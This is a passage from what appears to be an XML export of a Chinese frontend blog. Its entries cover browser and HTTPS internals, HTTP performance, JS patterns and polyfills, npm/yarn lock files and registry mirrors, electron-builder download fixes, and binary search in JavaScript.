加密,向服务器发送加密后的数据,服务器用私钥解密出 pre-master 数据,结合 client-random 和 service-random 生成对称密钥,使用对称密钥传输加密数据; 引入数字证书是为了证明“我就是我”,防止 DNS 被劫持,伪造服务器; 证书的作用:一个是向浏览器证明服务器的身份,另一个是包含服务器公钥; 数字签名过程:CA 使用 Hash 函数技术明文信息,得出信息摘要,然后 CA 使用私钥对信息摘要进行加密,加密后的秘文就是数字签名; 验证数字签名:读取证书明文信息,使用相同 Hash 函数计算得到信息摘要 A,再利用 CA 的公钥解密得到 B,对比 A 和 B,如果一致,则确认证书合法; 原文整理最后,在网上有些大神有整理出了各个章节在线原文,确实是花了不少心思,在这里也整理到 git 上了,有兴趣的童鞋可以自行查阅,完~ 宏观视角上的浏览器 Chrome 架构:仅仅打开 1 个页面,为什么有 4 个进程 TCP 协议:如何保证页面文件能被完整送达浏览器 HTTP 请求流程:为什么很多站点第二次打开速度会很快 导航流程:从输入 URL 到页面展示这中间发生了什么 渲染流程(上):HTML、CSS 和 JavaScript 是如何变成页面的 渲染流程(下):HTML、CSS 和 JavaScript 是如何变成页面的 浏览器中的 JavaScript 执行机制 变量提升:JavaScript 代码是按顺序执行的吗 调用栈:为什么 JavaScript 代码会出现栈溢出 块级作用域:var 缺陷以及为什么要引入 let 和 const 作用域链和闭包:代码中出现相同的变量,JavaScript 引擎如何选择 this:从 JavaScript 执行上下文视角讲 this V8 工作原理 栈空间和堆空间:数据是如何存储的 垃圾回收:垃圾数据如何自动回收 编译器和解析器:V8 如何执行一段 JavaScript 代码的 浏览器中的页面循环系统 消息队列和事件循环:页面是怎么活起来的 Webapi:setTimeout 是怎么实现的 Webapi:XMLHttpRequest 是怎么实现的 宏任务和微任务:不是所有的任务都是一个待遇 使用 Promise 告别回调函数 async-await 使用同步方式写异步代码 浏览器中的页面 页面性能分析:利用 chrome 做 web 性能分析 DOM 树:JavaScript 是如何影响 DOM 树构建的 渲染流水线:CSS 如何影响首次加载时的白屏时间 分层和合成机制:为什么 CSS 动画比 JavaScript 高效 页面性能:如何系统优化页面 虚拟 DOM:虚拟 DOM 和实际 DOM 有何不同 PWA:解决了 web 应用哪些问题 webComponent:像搭积木一样构建 web 应用 浏览器中的网络 HTTP1:HTTP 性能优化 HTTP2:如何提升网络速度 HTTP3:甩掉 TCP、TCL 包袱,构建高效网络 同源策略:为什么 XMLHttpRequest 不能跨域请求资源 跨站脚本攻击 XSS:为什么 cookie 中有 httpOnly 属性 CSRF 攻击:陌生链接不要随便点 沙盒:页面和系统之间的隔离墙 HTTPS:让数据传输更安全 浏览器工作原理与实践]]></content>
<tags>
<tag>浏览器</tag>
</tags>
</entry>
<entry>
<title><![CDATA[基于http前端性能优化]]></title>
<url>%2F2021%2F04%2F05%2Ffe-optimization-http%2F</url>
<content type="text"><![CDATA[前言前端性能的优化的前提是要了解对页面加载全流程,正如老生常谈的 “浏览器从输入 URL 到页面加载出来发生了什么”,主要分为以下几个过程: DNS 解析:将域名解析成 IP 地址 TCP 连接:TCP 三次握手 发送 HTTP 请求 服务器处理请求并返回 HTTP 报文 浏览器解析渲染页面 断开连接:TCP 四次挥手 总结来看,可优化点有: 域名解析(DNS) 使用 HTTP2 减少 http 请求次数 减小请求大小 浏览器缓存 针对每个流程进行应对优化方案。 域名解析(DNS)DNS 协议提供通过域名查找 IP 地址,或逆向从 IP 地址反查域名的服务。DNS 是一个网络服务器,我们的域名解析简单来说就是在 DNS 上记录一条信息记录。 DNS 查找流程浏览器缓存:浏览器会按照一定的频率缓存 DNS 记录。操作系统缓存:如果浏览器缓存中找不到需要的 DNS 记录,那就去操作系统中找。路由缓存:路由器也有 DNS 缓存。ISP 的 DNS 服务器:ISP 是互联网服务提供商(Internet Service Provider)的简称,ISP 有专门的 DNS 服务器应对 DNS 查询请求。根服务器:ISP 的 DNS 服务器还找不到的话,它就会向根服务器发出请求,进行递归查询(DNS 服务器先问根域名服务器.com 域名服务器的 IP 地址,然后再问.baidu 域名服务器,依次类推)]]></content>
<tags>
<tag>优化</tag>
</tags>
</entry>
<entry>
<title><![CDATA[js-design-pattern]]></title>
<url>%2F2021%2F03%2F27%2Fjs-design-pattern%2F</url>
<content type="text"><![CDATA[单例(Singleton)模式基于单独的实例,来管理某一个模块中的内容,实现模块之间的独立划分,但是,也可以实现模块之间方法的相互调用。 早期的模块化编程AMD -&gt; require.jsCMD/CommonJS -&gt; sea.js &amp; NodeES6 Module 1234567891011121314151617181920212223242526// 程序员A开发的模块var AModule = (function () &#123; var data = [] function bindHTML() &#123; //... &#125; function change() &#123; //... &#125; return &#123; bindHTML: bindHTML &#125;&#125;)()// 程序员B开发的模块var BModule = (function () &#123; var data = [] function bindHTML() &#123; //... &#125; return &#123; bindHTML: bindHTML &#125;&#125;)() 12345678910111213var serchModule = function () &#123; var body = document.body function queryData() &#123;&#125; function bindHtml() &#123;&#125; function handle() &#123;&#125; return &#123; init: function () &#123; queryData() bindHtml() handle() &#125; &#125;&#125; 代理模式装饰模式观察者模式发布-订阅者模式策略模式]]></content>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[手撕源码]]></title>
<url>%2F2021%2F03%2F25%2Fshred-source-code%2F</url>
<content type="text"><![CDATA[实现 call()、apply、bind()1234567891011121314151617181920212223// callFunction.prototype.call = function call(context, ...args) &#123; const self = this const key = Symbol('key') // null undefined context == null ? (context = window) : null // string number !/^(object|function)$/i.test(typeof context) ? (context = Object(context)) : null // array function object context[key] = self const result = context[key](...args) delete context[key] return result&#125;// bindFunction.prototype.bind = function (context, ...args) &#123; const _this = this return function proxy(...params) &#123; return _this.apply(context, args.concat(params)) &#125;&#125;]]></content>
<tags>
<tag>javascript</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[npm/yarn lock]]></title>
<url>%2F2021%2F03%2F11%2Fnpm-yarn-lock%2F</url>
<content type="text"><![CDATA[前言看完本文,你将从整体了解依赖版本锁定原理,package-lock.json 或 yarn.lock 的重要性。首先要从最近接连出现两起有关 npm 安装 package.json 中依赖包,由于依赖包版本更新 bug 造成项目出错问题说起。 事件一:新版本依赖包本身 bug项目本地打包正常,但是线上使用 Jenkins 完成 DevOps 交付流水线打包出错问题。报出如下错误: 123**17:15:32** ERROR in ./node_modules/clipboard/dist/clipboard.js**17:15:32** Module build failed (from ./node_modules/babel-loader/lib/index.js):**17:15:32** Error: Couldn't find preset "@babel/env" relative to directory "/app/workspace/SIT/node_modules/clipboard" 显示错误原因是 clipboard 插件没有安装 @babel/env 预设(preset)。明显这个是插件问题了,去官方库 clipboard 查看源码发现该库依赖包很少,大部分是原生实现。再看 issue 别人有没有出现同样的问题,目前来看还没有人提出。以此推断可能是插件本身的 “问题” 了。 但是我本地项目打包正常,线上的出错,可能由于本地版本和线上版本不一致导致(某个小版本出现的 bug)的。通过查看package.json 配置的 clipboard: &quot;^2.0.4&quot;,线上实际安装版本是 2.0.7,而我本地实际安装版本是 2.0.6因此定位到 2.0.7 出现的 “问题”。 由于是插件本身“问题”,我的临时解决办法是锁定到 2.0.4 版本,也就是 clipboard: &quot;2.0.4&quot;,后面加上 package-lock.json。 打破沙锅问到底既然“问题”已经定位到了 2.0.7 版本,进一步通过对比此次版本提交文件内容差异,发现 .babelrc 文件用到的 preset 是 env。 2.0.7 版本用的是 @bable/env,将 babel 更新到了 7!具体原因点这里 问题基本定位到了,这里就顺便给作者提了一个 issues。 事件二:依赖包的新版插件 bug一直正常使用的 braft-editor 优秀的富文本编辑器插件,最近在其他小伙伴电脑或者在我本地电脑重新部署项目,启动后发现 toHtml() 方法获取富文本 html 内容总是空! 历史版本是正常的,猜测可能又是版本更新造成。同样的,去官方库 braft-editor看看 issues 别人有没有遇到同样的问题。果然这次有,原因是它的依赖包 draft-js 更新后的问题,具体的看这个 issues。 这个是由于插件的依赖包更新出现的问题,直接去锁定当前插件没有作用,不会对它的依赖包产生约束(依赖包还是会去下载最新版本的包)。我的临时解决办法是尝试将版本回退到后一个版本并锁定。这样做的原因是回退版本的依赖包版本肯定会低于现在的,之前的版本是正常的。 经验教训其实这两起事件是同一个诱因导致的:没有锁定当前项目依赖树模块的版本。下面就来探究一下依赖包的版本管理。 语义化版本(semver)package.json 在前端工程化中主要用来记录依赖包名称、版本、运行指令等信息字段。其中,dependencies 字段指定了项目运行所依赖的模块,devDependencies 指定项目开发所需要的模块。它们都指向一个对象。该对象的各个成员,分别由模块名和对应的版本要求组成,表示依赖的模块及其版本范围。对应的版本可以加上各种限定,主要有以下几种: 指定版本:比如 1.2.2 ,遵循“大版本.次要版本.小版本”的格式规定,安装时只安装指定版本。 波浪号(tilde)+指定版本:比如 ~1.2.2 ,表示安装 1.2.x 的最新版本(不低于1.2.2),但是不安装 1.3.x,也就是说安装时不改变大版本号和次要版本号。 插入号(caret)+指定版本:比如 ˆ1.2.2,表示安装 1.x.x 的最新版本(不低于 1.2.2),但是不安装 2.x.x,也就是说安装时不改变大版本号。需要注意的是,如果大版本号为 0,则插入号的行为与波浪号相同,这是因为此时处于开发阶段,即使是次要版本号变动,也可能带来程序的不兼容。 latest:安装最新版本。 当我们使用比如 npm install package -save 安装一个依赖包时,版本是插入号形式。这样每次重新安装依赖包 npm install 时”次要版本“和“小版本”是会拉取最新的。一般的,主版本不变的情况下,不会带来核心功能变动,API 应该兼容旧版,但是这在开源的世界里很难控制,尤其在复杂项目的众多依赖包中难免会引入一些意想不到的 bug。 npm-shrinkwrap &amp;&amp; package-locknpm-shrinkwrap正是存在这每次重新安装,依赖树模块版本存在的不确定性,才有了相应的锁定版本机制。 npm5 之前可以通过 npmshrinkwrap 实现。通过运行 npm shrinkwrap,会在当前目录下生成一个 npm-shrinkwrap.json 文件,它是 package.json 中列出的每个依赖项的大型列表,应安装的特定版本,模块的位置(URI),验证模块完整性的哈希,它需要的包列表,以及依赖项列表。运行 npm install 的时候会优先使用 npm-shrinkwrap.json 进行安装,没有则使用 package.json 进行安装。 package-lock在 npm5 版本后,当我们运行 npm intall 发现会生成一个新文件 package-lock.json,内容跟上面提到的 npm-shrinkwrap.json 基本一样。 1234567891011121314151617181920212223242526272829303132333435"vue-loader": &#123; "version": "14.2.4", "resolved": "https://registry.npmjs.org/vue-loader/-/vue-loader-14.2.4.tgz", "integrity": "sha512-bub2/rcTMJ3etEbbeehdH2Em3G2F5vZIjMK7ZUePj5UtgmZSTtOX1xVVawDpDsy021s3vQpO6VpWJ3z3nO8dDw==", "dev": true, "requires": &#123; "consolidate": "^0.14.0", "hash-sum": "^1.0.2", "loader-utils": "^1.1.0", "lru-cache": "^4.1.1", "postcss": "^6.0.8", "postcss-load-config": "^1.1.0", "postcss-selector-parser": "^2.0.0", "prettier": "^1.16.0", "resolve": "^1.4.0", "source-map": "^0.6.1", "vue-hot-reload-api": "^2.2.0", "vue-style-loader": "^4.0.1", "vue-template-es2015-compiler": "^1.6.0" &#125;, "dependencies": &#123; "postcss-load-config": &#123; "version": "1.2.0", "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-1.2.0.tgz", "integrity": "sha1-U56a/J3chiASHr+djDZz4M5Q0oo=", "dev": true, "requires": &#123; "cosmiconfig": "^2.1.0", "object-assign": "^4.1.0", "postcss-load-options": "^1.2.0", "postcss-load-plugins": "^2.3.0" &#125; &#125;, &#125;&#125;, 当项目中已有 package-lock.json 文件,在安装项目依赖时,将以该文件为主进行解析安装指定版本依赖包,而不是使用 package.json 来解析和安装模块。因为 package-lock 为每个模块及其每个依赖项指定了版本,位置和完整性哈希,所以它每次创建的安装都是相同的。 无论你使用什么设备,或者将来安装它都无关紧要,每次都应该给你相同的结果。 npm5 版本下 install 规则npm 并不是一开始就是按照现有这种规则制定的。 5.0.x 版本: 不管 package.json 中依赖是否有更新,npm install 都会根据 package-lock.json 下载。针对这种安装策略,有人提出了这个 issue ,然后就演变成了 5.1.0 版本后的规则。 5.1.0 版本后: 当 package.json 中的依赖项有新版本时,npm install 会无视 package-lock.json 去下载新版本的依赖项并且更新 package-lock.json。针对这种安装策略,又有人提出了一个 issue 参考 npm 贡献者 iarna 的评论,得出 5.4.2 版本后的规则。 5.4.2 版本后: 如果只有一个 package.json 文件,运行 npm install 会根据它生成一个 package-lock.json 文件,这个文件相当于本次 install 的一个快照,它不仅记录了 package.json 指明的直接依赖的版本,也记录了间接依赖的版本。 如果 package.json 的 semver-range version 和 package-lock.json 中版本兼容(package-lock.json 版本在 package.json 指定的版本范围内),即使此时 package.json 中有新的版本,执行 npm install 也还是会根据 package-lock.json 下载。 如果手动修改了 package.json 的 version ranges,且和 package-lock.json 中版本不兼容,那么执行 npm install 时 package-lock.json 将会更新到兼容 package.json 的版本。 yarnyarn 的出现主要目标是解决上面描述的由于语义版本控制而导致的 npm 安装的不确定性问题。虽然可以使用 npm shrinkwrap 来实现可预测的依赖关系树,但它并不是默认选项,而是取决于所有的开发人员知道并且启用这个选项。yarn 采取了不同的做法。每个 yarn 安装都会生成一个类似于npm-shrinkwrap.json 的 yarn.lock 文件,而且它是默认创建的。除了常规信息之外,yarn.lock 文件还包含要安装的内容的校验和,以确保使用的库的版本相同。 yarn 的主要优化yarn 的出现主要做了如下优化: 并行安装:无论 npm 还是 yarn 在执行包的安装时,都会执行一系列任务。npm 是按照队列执行每个 package,也就是说必须要等到当前 package 安装完成之后,才能继续后面的安装。而 yarn 是同步执行所有任务,提高了性能。 离线模式:如果之前已经安装过一个软件包,用 yarn 再次安装时之间从缓存中获取,就不用像 npm 那样再从网络下载了。 安装版本统一:为了防止拉取到不同的版本,yarn 有一个锁定文件 (lock file) 记录了被确切安装上的模块的版本号。每次只要新增了一个模块,yarn 就会创建(或更新)yarn.lock 这个文件。这么做就保证了,每一次拉取同一个项目依赖时,使用的都是一样的模块版本。 更好的语义化: yarn 改变了一些 npm 命令的名称,比如 yarn add/remove,比 npm 原本的 install/uninstall 要更清晰。 安装依赖树流程 执行工程自身 preinstall。当前 npm 工程如果定义了 preinstall 钩子此时会被执行。 确定首层依赖。模块首先需要做的是确定工程中的首层依赖,也就是 dependencies 和 devDependencies 属性中直接指定的模块(假设此时没有添加 npm install 参数)。工程本身是整棵依赖树的根节点,每个首层依赖模块都是根节点下面的一棵子树,npm 会开启多进程从每个首层依赖模块开始逐步寻找更深层级的节点。 获取模块。获取模块是一个递归的过程,分为以下几步: 获取模块信息。在下载一个模块之前,首先要确定其版本,这是因为 package.json 中往往是 semantic version(semver,语义化版本)。此时如果版本描述文件(npm-shrinkwrap.json 或 package-lock.json)中有该模块信息直接拿即可,如果没有则从仓库获取。如 package.json 中某个包的版本是 ^1.1.0,npm 就会去仓库中获取符合 1.x.x 形式的最新版本。 获取模块实体。上一步会获取到模块的压缩包地址(resolved 字段),npm 会用此地址检查本地缓存,缓存中有就直接拿,如果没有则从仓库下载。 查找该模块依赖,如果有依赖则回到第 1 步,如果没有则停止。 模块扁平化(dedupe)。上一步获取到的是一棵完整的依赖树,其中可能包含大量重复模块。比如 A 模块依赖于 loadsh,B 模块同样依赖于 lodash。在 npm3 以前会严格按照依赖树的结构进行安装,因此会造成模块冗余。yarn 和从 npm5 开始默认加入了一个 dedupe 的过程。它会遍历所有节点,逐个将模块放在根节点下面,也就是 node-modules 的第一层。当发现有重复模块时,则将其丢弃。这里需要对重复模块进行一个定义,它指的是模块名相同且 semver 兼容。每个 semver 都对应一段版本允许范围,如果两个模块的版本允许范围存在交集,那么就可以得到一个兼容版本,而不必版本号完全一致,这可以使更多冗余模块在 dedupe 过程中被去掉。 安装模块。这一步将会更新工程中的 node_modules,并执行模块中的生命周期函数(按照 preinstall、install、postinstall 的顺序)。 执行工程自身生命周期。当前 npm 工程如果定义了钩子此时会被执行(按照 install、postinstall、prepublish、prepare 的顺序)。 举例说明插件 htmlparser2@^3.10.1 和 dom-serializer@^0.2.2 都有使用了 entities 依赖包,不过使用的版本不同,同时我们自己安装一个版本的 entities 包。具体如下: 1234567--htmlparser2@^3.10.1 |--entities@^1.1.1--dom-serializer@^0.2.2 |--entities@^2.0.0--entities@^2.1.0 通过 npm install 安装后,生成的 package-lock.json 文件内容和它的 node_modules 目录结构: 可以发现: dom-serializer@^0.2.2 的依赖包 entities@^2.0.0 和我们自己安装的 entities@^2.1.0 被实际安装成 entities@^2.2.0,并放在 node_modules 的第一层。因为这两个版本的semver 范围相同,又先被遍历,所有会被合并安装在第一层; htmlparser2@^3.10.1 的依赖包 entities@^1.1.1 被实际安放在 dom-serializer 包的 node_modules 中,并且和 package-lock.json 描述结构保持一致。 通过 yarn 安装后,生成的 yarn.lock 文件内容和它的 node_modules 目录结构: 可以发现与 npm install 不同的是: yarn.lock 中所有依赖描述都是扁平化的,即没有依赖描述的嵌套关系; 在 yarn.lock 中, 相同名称版本号不同的依赖包,如果 semver 范围相同会被合并,否则,会存在多个版本描述。 注意 cnpm 不支持 package-lock使用 cnpm install 时候,并不会生成 package-lock.json 文件。cnpm install 的时候,就算你项目中有 package-lock.json 文件,cnpm 也不会识别,仍会根据 package.json 来安装。所以这就是为什么之前你用 npm 安装产生了 package-lock.json,后面的人用 cnpm 来安装,可能会跟你安装的依赖包不一致。 因此,尽量不要直接使用 cnpm install 安装项目依赖包。但是为了解决直接使用 npm install 速度慢的问题,可以设置 npm 代理解决。 12345// 设置淘宝镜像代理npm config set registry https://registry.npm.taobao.org// 查看已设置代理npm config get registry 当然,也可以通过 nrm 工具,快捷操作设置代理。 全局安装 1$ npm install -g nrm 查看已安装代理列表 12345678$ nrm ls* npm ----- https://registry.npmjs.org/ yarn ----- https://registry.yarnpkg.com cnpm ---- http://r.cnpmjs.org/ taobao -- https://registry.npm.taobao.org/ nj ------ https://registry.nodejitsu.com/ skimdb -- https://skimdb.npmjs.com/registry 切换代理 123$ nrm use cnpm //switch registry to cnpm* Registry has been set to: http://r.cnpmjs.org/ 测速 123$ nrm test cnpm* cnpm --- 618ms 然而,设置这些全局代理可能还是不能满足下载一些特定依赖包(在没有 VPN 情况下),比如:node-sass、puppeteer、chromedriver、electron 等。可以通过 .npmrc 文件设置具体依赖包的国内镜像。该文件在项目 npm install 时会被加载读取,优先级高于 npm 全局设置。 12345registry=https://registry.npm.taobao.org/sass_binary_site=http://npm.taobao.org/mirrors/node-sasschromedriver_cdnurl=http://npm.taobao.org/mirrors/chromedriverelectron_mirror=http://npm.taobao.org/mirrors/electron/ npm install -g electronpuppeteer_download_host=http://npm.taobao.org/mirrors/chromium-browser-snapshots/ 总结项目在以后重新构建,由于依赖树中有版本更新,造成意外事故是不可避免的,究其原因是整个依赖树版本没有锁死。解决方案分为如下四种: package.json 中固定版本。注意:仅能锁定当前依赖包版本,不能控制整棵依赖树版本。 npm+npm-shrinkwrap.json。 npm+package-lock.json。 yarn+yarn-lock.json。 根据自身情况选择。见识有限,欢迎指正,谢谢点赞,完~]]></content>
<tags>
<tag>javascript</tag>
<tag>npm</tag>
<tag>webpack</tag>
<tag>yarn</tag>
</tags>
</entry>
<entry>
<title><![CDATA[electron]]></title>
<url>%2F2020%2F12%2F25%2Felectron%2F</url>
<content type="text"><![CDATA[electron-builder 打包报错在没有翻墙环境下,有些安装包无法通过 npm 直接下载,这样会造成打包中断,无法成功。一般的,会有如下情况。 获取不到 electron-vxxx-xx-xx.zip首次通过 electron-builder 打包,会报以下错误,由于网络原因获取不到 electron 安装包。 123• packaging platform=win32 arch=x64 electron=11.1.1 appOutDir=dist\win-unpacked ⨯ Get "https://github-production-release-asset-2e65be.s3.amazonaws.com/9384267/4bb69b00-4382-11eb-89a3-0478a8f71cb3?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20201225%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20201225T033206Z&amp;X-Amz-Expires=300&amp;X-Amz-Signature=39ef3cf5665a8fd42f61b5e74aac8ab28d9be97aacb190ddbe10c56918b6caaf&amp;X-Amz-SignedHeaders=host&amp;actor_id=0&amp;key_id=0&amp;repo_id=9384267&amp;response-content-disposition=attachment%3B%20filename%3Delectron-v11.1.1-win32-x64.zip&amp;response-content-type=application%2Foctet-stream": read tcp 100.119.114.140:50153-&gt;52.217.64.100:443: wsarecv: Anexisting connection was forcibly closed by the remote host. 解决方案淘宝electron镜像,选择报错提示需要安装的版本下载即可。 下载完成后,将该安装包(zip)放到一下目录下: 123macOS: ~/Library/Caches/electronLinux: ~/.cache/electronwindows: %LOCALAPPDATA%\electron\cache 获取不到 winCodeSign-x.x.x.7z继续打包会报以下错误,由于网络原因获取不到 winCodeSign 安装包。 1⨯ Get "https://github-production-release-asset-2e65be.s3.amazonaws.com/65527128/f73f2200-5d53-11ea-8264-ddd345f11ee4?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20201226%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20201226T064126Z&amp;X-Amz-Expires=300&amp;X-Amz-Signature=5dae4023a11f1b575dd5df18ec8f4e2d5664f3214d41365665d6393f29d5716a&amp;X-Amz-SignedHeaders=host&amp;actor_id=0&amp;key_id=0&amp;repo_id=65527128&amp;response-content-disposition=attachment%3B%20filename%3DwinCodeSign-2.6.0.7z&amp;response-content-type=application%2Foctet-stream": read tcp 100.119.114.140:58909-&gt;52.217.18.220:443: wsarecv: An existing connection was forcibly closed by the remote host. 解决方案github 上找到 electron 打包二进制文件 releases,选择报错需要的版本的 winCodeSign 安装包下载,下载解压后,整个文件夹(带版本号相关信息)放到以下目录下 123macOS ~/Library/Caches/electron-builder/winCodeSignlinux ~/.cache/electron-builder/winCodeSignwindows %LOCALAPPDATA%\electron-builder\cache\winCodeSign 获取不到 nsis-x.x.x.7z继续打包会报以下错误,由于网络原因获取不到 nsis 安装包。 1⨯ Get "https://github-production-release-asset-2e65be.s3.amazonaws.com/65527128/10518a80-10f6-11ea-8d2f-403bab81b4cd?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20201226%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20201226T080004Z&amp;X-Amz-Expires=300&amp;X-Amz-Signature=041ed954e78b77440ddb400f0ce9bca3e20cb45dc18c42f8e40029ae11f9c564&amp;X-Amz-SignedHeaders=host&amp;actor_id=0&amp;key_id=0&amp;repo_id=65527128&amp;response-content-disposition=attachment%3B%20filename%3Dnsis-3.0.4.1.7z&amp;response-content-type=application%2Foctet-stream": read tcp 100.119.114.140:56915-&gt;52.217.17.36:443: wsarecv: An existing connection was forcibly closed by the remote host. 解决方案github 上找到 electron 打包二进制文件 releases,选择报错需要的版本的 nsis 安装包下载,下载解压后,整个文件夹(带版本号相关信息)放到以下目录下 123macOS ~/Library/Caches/electron-builder/nsislinux ~/.cache/electron-builder/nsiswindows %LOCALAPPDATA%\electron-builder\cache\nsis 获取不到 nsis-resources-x.x.x.7z继续打包会报以下错误,由于网络原因获取不到 nsis-resources 安装包。 1⨯ Get "https://github-production-release-asset-2e65be.s3.amazonaws.com/65527128/64ac4a00-a87a-11e9-901b-f221c4fd0776?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20201226%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Date=20201226T070558Z&amp;X-Amz-Expires=300&amp;X-Amz-Signature=c970d23f54d01a83f3bcfab03a56d7ed6b18e9cd8d5ecd46bd8dc66cd47ae077&amp;X-Amz-SignedHeaders=host&amp;actor_id=0&amp;key_id=0&amp;repo_id=65527128&amp;response-content-disposition=attachment%3B%20filename%3Dnsis-resources-3.4.1.7z&amp;response-content-type=application%2Foctet-stream": read tcp 100.119.114.140:63484-&gt;52.216.92.123:443: wsarecv: An existing connection was forcibly closed by the remote host. 解决方案github 上找到 electron 打包二进制文件 releases,选择报错需要的版本的 nsis-resources 安装包下载,下载解压后,整个文件夹(带版本号相关信息)放到以下目录下 123macOS ~/Library/Caches/electron-builder/nsislinux ~/.cache/electron-builder/nsiswindows %LOCALAPPDATA%\electron-builder\cache\nsis]]></content>
<tags>
<tag>electron</tag>
</tags>
</entry>
<entry>
<title><![CDATA[「超详笔记」算法——二分搜索与贪婪(JS版)]]></title>
<url>%2F2020%2F12%2F12%2Falgorithm-binary-search-greedy%2F</url>
<content type="text"><![CDATA[二分搜索(Binary Search)二分搜索(折半搜索)的 Wikipedia 定义:是一种在有序数组中查找某一特定元素的搜索算法。从定义可知,运用二分搜索的前提是数组必须是排好序的。另外,输入并不一定是数组,也有可能是给定一个区间的起始和终止的位置。 优点:时间复杂度是 O(lgn),非常高效。 因此也称为对数搜索。 缺点:要求待查找的数组或者区间是排好序的。 对数组进行动态的删除和插入操作并完成查找,平均复杂度会变为 O(n)。此时应当考虑采取自平衡的二叉查找树: 在 O(nlogn) 的时间内用给定的数据构建出一棵二叉查找树; 在 O(logn) 的时间里对目标数据进行搜索; 在 O(logn) 的时间里完成删除和插入的操作。 因此,当输入的数组或者区间是排好序的,同时又不会经常变动,而要求从里面找出一个满足条件的元素的时候,二分搜索就是最好的选择。 二分搜索一般化的解题思路如下。 从已经排好序的数组或区间中取出中间位置的元素,判断该元素是否满足要搜索的条件,如果满足,停止搜索,程序结束。 如果正中间的元素不满足条件,则从它两边的区域进行搜索。由于数组是排好序的,可以利用排除法,确定接下来应该从这两个区间中的哪一个去搜索。 通过判断,如果发现真正要找的元素在左半区间的话,就继续在左半区间里进行二分搜索。反之,就在右半区间里进行二分搜索。 二分搜索递归解法优点:简洁;缺点:执行消耗大 例题:假设我们要从一个排好序的数组里 {1, 3, 4, 6, 7, 8, 10, 13, 14} 查看一下数字 7 是否在里面,如果在,返回它的下标,否则返回 -1。 二分搜索递归解法代码实现1234567891011121314151617181920212223242526272829// 递归解法,进行二分搜索const binarySearch = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high // 为了避免无线循环,先判断,如果七点位置大于终点位置,表明这是一个非法的区间 // 已经尝试了所有的搜索区间还是没找到结果,返回-1 if (low &gt; high) &#123; return -1 &#125; // 取正中间那个数的下标 middle let middle = low + Math.floor((high - low) / 2) // 判断一下正中间的那个数是不是要找的目标数 target if (nums[middle] === target) &#123; return middle &#125; // 如果发现目标数在左边,就递归地从左边进行二分搜索 // 否则从右半边递归地二分搜索 if (target &lt; nums[middle]) &#123; return binarySearch(nums, target, low, middle - 1) &#125; else &#123; return binarySearch(nums, target, middle + 1, high) &#125;&#125;const arr = [1, 3, 4, 6, 7, 8, 10, 13, 14]console.log('index: ', binarySearch(arr, 7))// index: 4 注意: 在计算 middle 下标的时候,不能简单地用 (low + hight) / 2,可能会导致溢出。 在取左半边以及右半边的区间时,左半边是 [low, middle - 1],右半边是 [middle + 1, high],这是两个闭区间。因为已经确定了 middle 那个点不是我们要找的,就没有必要再把它加入到左、右半边了。 对于一个长度为奇数的数组,例如:{1, 2, 3, 4, 5},按照 low + (high - low) / 2 来计算,middle 就是正中间的那个位置,对于一个长度为偶数的数组,例如 {1, 2, 3, 4},middle 就是正中间靠左边的一个位置。 二分搜索递归解法时间复杂度假设我们要对长度为 n 的数组进行二分搜索,T(n) 是执行时间函数,我们可以得到 T(n) = T(n/2) + 1 代入公式法得:a = 1,b = 2,f(n) = 1,因此:O(nlog(b)a) = O(n0) = 1 等于 O(f(n)),时间复杂度就是 O(nlog(b)alogn) = O(logn)。 二分搜索非递归解法代码实现二分搜索递归解法实际是将 low 和 high 不断向 target 靠拢的过程。其实,可以将这个过程通过 middle 交换赋值循环方式替代,从而变成非递归形式。 123456789101112131415161718192021222324252627282930// 非递归解法,进行二分搜索const binarySearch = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high // 在 while 循环里,判断搜索的区间范围是否有效 while (low &lt;= high) &#123; let middle = low + Math.floor((high - low) / 2) // 判断一下正中间的那个数是不是要找的目标数 target if (nums[middle] === target) &#123; return middle &#125; // 如果发现目标数在左边,调整搜索区间的终点为 middle - 1 // 否则,调整搜索区间的起点为 middle + 1 if (target &lt; nums[middle]) &#123; high = middle - 1 &#125; else &#123; low = middle + 1 &#125; &#125; // 如果超出搜索区间,表明无法找到目标数,返回 -1 return -1&#125;const arr = [1, 3, 4, 6, 7, 8, 10, 13, 14]console.log('index: ', binarySearch(arr, 7))// index: 4 二分搜索:找确定的边界问题边界分上边界和下边界,有时候也被成为右边界和左边界。确定的边界指边界的数值等于要找的目标数。 例题:LeetCode 第 34 题,在一个排好序的数组中找出某个数第一次出现和最后一次出现的下标位置。 示例:输入的数组是:[5, 7, 7, 8, 8, 10],目标数是 8,那么返回 [3, 4],其中 3 是 8 第一次出现的下标位置,4 是 8 最后一次出现的下标位置。 二分搜索找确定的边界问题解题思路在二分搜索里,比较难的是判断逻辑,对这道题来说,什么时候知道这个位置是不是 8 第一次以及最后出现的地方呢? 把第一次出现的地方叫下边界(lower bound),把最后一次出现的地方叫上边界(upper bound)。 那么成为 8 的下边界的条件应该有两个。 该数必须是 8; 该数的左边一个数必须不是 8: 8 的左边有数,那么该数必须小于 8;8 的左边没有数,即 8 是数组的第一个数。 而成为 8 的上边界的条件也应该有两个。 该数必须是 8; 该数的右边一个数必须不是 8: 8 的右边有数,那么该数必须大于 8;8 的右边没有数,即 8 是数组的最后一个数。 二分搜索找确定的边界问题代码实现用递归的方法来寻找下边界,代码如下。 12345678910111213141516171819202122232425// 二分法查找下边界const searchLowerBound = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high if (low &gt; high) &#123; return -1 &#125; let middle = low + Math.floor((high - low) / 2) // 判断是否是下边界时, 先看看 middle 